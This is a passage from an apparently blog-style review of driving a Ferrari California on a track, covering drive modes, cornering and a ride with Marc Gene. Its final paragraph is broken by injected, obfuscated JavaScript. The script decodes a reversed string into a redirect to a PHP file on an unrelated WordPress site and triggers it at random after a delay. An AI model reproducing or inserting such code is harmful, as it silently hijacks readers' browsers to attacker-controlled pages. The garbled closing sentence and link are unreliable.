Truth be told though, I spend very little time admiring the layout of the centre console. The only buttons I need are mode select on – and the gearbox paddles behind – the steering wheel. Even though I have been fully briefed on apex lines and corner speeds, my instructor suggests we start off in Comfort mode to get us warmed up. I agree and we set off trackwards.
We’ve barely exited pit road before my eyebrows hurtle skywards: even in Comfort, the steering is amazingly responsive, managing to be both light and direct simultaneously. The F1-inspired automatic gearbox is both very clever and logistically impossible to understand without a PHD, but the time between changes is finite. Flick the right wrist and the revs keep rising, tarmac whistling by as we quickly pick up speed. My warm-up laps complete, I stick the prancing horse into Sport and head into the first turn.
Brake hard from 120kph and down into fourth, tuck the nose into the apex and feed the power in gently. Lift for two then power on into three, slowly, slowly, slowly, then bury the right pedal through the rumble strips and down the hill to turn four. HARD braking, down to third and get the car lined up for the quick-fire left-right. Racing line into the hairpin, looking through the apex to the exit mark. Feed the power in, hit the marker cone, then gun it. Heavy braking, through the box, tight line through the chicane and through onto the back straight again.
There’s still three turns to go but the California’s already proven its worth. Not only is it fun, it’s also remarkably easy to drive, and drive quickly. Such is the case when Senor Gene hops into the driving seat and takes me for a spin. The rear tyres squeal their discomfort as we exit each turn on opposite lock, all while Marc and I enjoy a pleasant conversation about $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/a-quick-chat-with-marc-gene-abu-dhabi/” target=”_blank”>his role at Ferrari and his GT racing ambitions.
